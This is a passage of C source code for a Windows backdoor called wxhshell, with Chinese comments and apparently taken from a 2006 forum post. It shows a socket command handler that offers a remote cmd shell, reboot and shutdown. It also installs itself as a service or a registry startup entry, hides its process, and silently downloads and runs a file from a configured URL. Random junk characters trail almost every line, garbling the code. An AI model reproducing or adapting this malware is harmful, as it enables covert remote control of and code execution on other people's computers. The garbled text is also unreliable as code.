  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -8vGvI>  
  } e&E7_  
  else {  w%::~]  
Spu;   
    switch(cmd[0]) { ThkCKM  
  &gW<v\6,  
  // 帮助 kd_! S[  
  case '?': { !T2{xmHKv$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $5\!ws<cZ  
    break; {=,G>p  
  } ! &cfX/y8  
  // 安装 [k75+#'  
  case 'i': { 97<Z,q72Y  
    if(Install()) ;JgSA&'e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQk omjv  
    else 4sX? O4p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -m[ tYp,q  
    break; xA<-'8ST  
    } kM@e_YtpY  
  // 卸载 bxO[y<|XL  
  case 'r': { :'xZF2  
    if(Uninstall()) {<a)+S.6U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sva-Sd8  
    else \gK'g-)}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xwW(WHdC]  
    break; !I\eIV>0b  
    } P : L6Zo-J  
  // 显示 wxhshell 所在路径 .gN ziDO  
  case 'p': { XH0o8\.  
    char svExeFile[MAX_PATH]; y|i(~  
    strcpy(svExeFile,"\n\r"); r_FI5f  
      strcat(svExeFile,ExeFile); u~ VXe  
        send(wsh,svExeFile,strlen(svExeFile),0); Jr%F#/  
    break; 8N$Xq\Da+>  
    } d>T8V(Bb  
  // 重启 /;:4$2R(;  
  case 'b': { J_j4Zb% K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >e(@!\ x  
    if(Boot(REBOOT)) 7]Hf3]e>/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%8)'=1+4?  
    else { L]Xx-S  
    closesocket(wsh); pAq PHD=  
    ExitThread(0); O*lIZ,!n  
    } <AiE~l| D  
    break; 68w~I7D>  
    } Z-pZyDz  
  // 关机 mey -Bn  
  case 'd': { )~S`[jV5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1(*+_TvZ  
    if(Boot(SHUTDOWN)) x^i97dZS^"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tr4\ `a-i  
    else { Yt{Z+.;9OI  
    closesocket(wsh); 5\O&pz@D  
    ExitThread(0); {5HQ=&  
    } ^|vP").aQm  
    break; Fp"c {  
    } 9b&;4Yq!f  
  // 获取shell b$pCp`/MT  
  case 's': { /J Y6S  
    CmdShell(wsh); k^cnNx  
    closesocket(wsh); O'xp"e,  
    ExitThread(0); Os]. IL$  
    break; :oYSvK7>  
  } 3q@H8%jcw  
  // 退出 Xr4k]'Mg  
  case 'x': { lPC{R k.\C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a;kiAJ'  
    CloseIt(wsh); jsF5q~F  
    break; ME$J?3r  
    } .QA1'_9  
  // 离开 Tc>g+eS  
  case 'q': { 0,):;O I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j~=<O<P  
    closesocket(wsh); jeO`45O  
    WSACleanup(); n=0^8QQ  
    exit(1); u-bgk(u  
    break; +afkpvj8  
        } Sj*W|n\gj  
  } Q,tjODc6n  
  } #,FXc~V  
#Aj#C>  
  // 提示信息 kp!(e0n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mi5bk>o  
} /xr75|-8  
  } `#r/L@QI  
KV'3\`v@LY  
  return; .m%5Esx  
} hYA1N&yz@  
c=a;<,Rzb  
// shell模块句柄 : Q2=t!  
int CmdShell(SOCKET sock) usu{1&g  
{ X'%BS  
STARTUPINFO si; h Y *^rY'  
ZeroMemory(&si,sizeof(si)); 6Bd:R}yZP7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uxe]T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7|[Dr@.S  
PROCESS_INFORMATION ProcessInfo; C\;%IGn  
char cmdline[]="cmd"; }N,v&  B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =i2]qj\  
  return 0; ' %rn-|)  
} Z^J)]UL/  
d7x6r3J$  
// 自身启动模式 [iyhrc:@  
int StartFromService(void) xk,1 D  
{ !:uh? RW  
typedef struct bGwj` lue  
{ B4c;/W-  
  DWORD ExitStatus; 5nmE*(  
  DWORD PebBaseAddress; f{\[+>  
  DWORD AffinityMask; 8{7'w|/;.{  
  DWORD BasePriority;  ;Yg/y  
  ULONG UniqueProcessId; N ;n55N  
  ULONG InheritedFromUniqueProcessId; N[DKA1Ei  
}   PROCESS_BASIC_INFORMATION; 8Bxb~*  
`d x.<R#,  
PROCNTQSIP NtQueryInformationProcess; qjf4G[]!  
O -p^S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <K/iX%b?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Il{{{\>  
:g-vy9vb  
  HANDLE             hProcess; Y8fel2;  
  PROCESS_BASIC_INFORMATION pbi; !NKPy+v  
[s%uE+``S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g(S4i%\  
  if(NULL == hInst ) return 0; |uRYejj#j  
G!Y7Rj WD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >{rD3X"d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r-[YJzf@P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9):^[Wkx  
}Py Z{yS  
  if (!NtQueryInformationProcess) return 0; [Z1,~(3  
fq):'E)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bQu@.'O!k  
  if(!hProcess) return 0; )o&}i3~Q  
>{0,dGm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N~(?g7  
/de~+I5AB~  
  CloseHandle(hProcess); 8p/&_<mnW  
hsI9{j]f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5fp&!HnG  
if(hProcess==NULL) return 0; =#%Vs>G  
;jlI>;C;V  
HMODULE hMod; 2e({%P@2?  
char procName[255]; aLQ]2m  
unsigned long cbNeeded; !Pd)  
u 1Wixjd|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H~0B5Hl!F  
)Oj{x0{\Q  
  CloseHandle(hProcess); !\\1#:*_W  
3Z%jx#  
if(strstr(procName,"services")) return 1; // 以服务启动 &iJvkt  
RTL@WI  
  return 0; // 注册表启动 WtMDHfwqu\  
} d#I; e  
0F &(}`V  
// 主模块 `2HNQiK'@  
int StartWxhshell(LPSTR lpCmdLine) <*ME&c gh4  
{ DM(c :+K-  
  SOCKET wsl; 'puiahA  
BOOL val=TRUE; .bRDz:?j  
  int port=0; bHz H0v]:  
  struct sockaddr_in door; cNl$ vP83z  
v0pev;C  
  if(wscfg.ws_autoins) Install(); -TNb=2en(  
=~k#<q1^  
port=atoi(lpCmdLine); TO] cZZ<  
;\Pq  
if(port<=0) port=wscfg.ws_port; Z. xOO|  
xK_0@6  
  WSADATA data;  .V l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <bh!wf6;  
:8lqo%5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R^JtWjJR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QY1|:(  
  door.sin_family = AF_INET; "^VPe[lA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (<Kf  
  door.sin_port = htons(port); q]P$NeEiZ"  
uCf _O~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E*}1_,q)  
closesocket(wsl); C4eQ.ep  
return 1; IvB)d}p  
} 'L veCi_  
f;,^ ]mw  
  if(listen(wsl,2) == INVALID_SOCKET) { tE:6  
closesocket(wsl); L#u!T)!zW  
return 1; m Wh   
} aByd,uSe)_  
  Wxhshell(wsl); R!RgQwEak  
  WSACleanup(); 7JLjA\k  
|6Qn/N$+f  
return 0; " VSma  
JP6+h>ft  
} e/<'HM T  
0G #s/u#  
// 以NT服务方式启动 C\1x3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `4t*H>:y  
{ 5uL!Ae  
DWORD   status = 0; $1bzsB|^  
  DWORD   specificError = 0xfffffff; Y:]m~-T  
tS3{y*yi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [R{%r^"2p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~JDVoS;>jU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w\5;;9_#  
  serviceStatus.dwWin32ExitCode     = 0; 9S<at MB  
  serviceStatus.dwServiceSpecificExitCode = 0; !<4=@  
  serviceStatus.dwCheckPoint       = 0; SG-Xgr@  
  serviceStatus.dwWaitHint       = 0; h`V#)Q  
i0{sE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [?Vk wFD0  
  if (hServiceStatusHandle==0) return; 7DW HADr  
42.y.LtZ  
status = GetLastError(); t ;bU#THM  
  if (status!=NO_ERROR) f^@D uI  
{ .2QZe8"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ) t$o0!  
    serviceStatus.dwCheckPoint       = 0; k'-5&Q  
    serviceStatus.dwWaitHint       = 0; =.t3|5U8  
    serviceStatus.dwWin32ExitCode     = status; rLI );!^-  
    serviceStatus.dwServiceSpecificExitCode = specificError; &u9@FFBT8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n~?n+\.&a  
    return; *ZV=4[#bT  
  } +o}mV.&1,  
]Jx_bs~g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =g$>]AE  
  serviceStatus.dwCheckPoint       = 0; }/.GB5Ej  
  serviceStatus.dwWaitHint       = 0; [> LL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sx@ %3j  
} FYX" q-Z  
p JM&R<i:  
// 处理NT服务事件,比如:启动、停止 `(lD]o{,s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fz W!-  
{ 9wpV} .(  
switch(fdwControl) U$wD'v3pw  
{ t}f,j^`e  
case SERVICE_CONTROL_STOP: #0 eop>O  
  serviceStatus.dwWin32ExitCode = 0; L31#v$;4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;;7: l,vy  
  serviceStatus.dwCheckPoint   = 0; d\j[O9W>  
  serviceStatus.dwWaitHint     = 0; Tu_4kUCR!f  
  { ^y<8 &ZFH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uN9J?j*ir  
  } TX$4x~:  
  return; :a'[ 4w  
case SERVICE_CONTROL_PAUSE: Ae_:Kc6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ExZ|_7^<  
  break; +`'>   
case SERVICE_CONTROL_CONTINUE: >4]y)df5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [^ eQGv[S  
  break; T6I$7F  
case SERVICE_CONTROL_INTERROGATE: raB', Vp  
  break; +`l)W`zX  
}; 2HF_kYZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t-VU&.Y  
} whh#J (  
@Avve8S  
// 标准应用程序主函数 d3tr9B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @$!rgLyL[  
{ sJ5Ws%q  
J6RzN'j  
// 获取操作系统版本 ,^uQw/  
OsIsNt=GetOsVer(); Q> J9M` a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }C<$q  
9UE)4*5  
  // 从命令行安装 7~m[:Eg6[s  
  if(strpbrk(lpCmdLine,"iI")) Install(); v)%0`%nSR  
tDn:B$*}W,  
  // 下载执行文件 1Y(NxC0P=g  
if(wscfg.ws_downexe) { 4)NbQ[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S$ Z?T  
  WinExec(wscfg.ws_filenam,SW_HIDE); }ISc^W) t  
} =.ReM_.  
X}_Gk5q*  
if(!OsIsNt) { Y [%<s/  
// 如果时win9x,隐藏进程并且设置为注册表启动 s|9[=JMG  
HideProc(); ND\M  
StartWxhshell(lpCmdLine); 2OsS+6,[x  
} .r\|9 *j<  
else /xw}]Fa5  
  if(StartFromService()) 9|qzFmE#  
  // 以服务方式启动 rIQ%X`Y  
  StartServiceCtrlDispatcher(DispatchTable); D/bF  
else ,qT+Vqpr{  
  // 普通方式启动 f yhBfA:u  
  StartWxhshell(lpCmdLine); [SU;U['7  
kB-]SD#  
return 0; .0?A0D?sP  
}
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只看该作者 1 发表于: 2006-10-10
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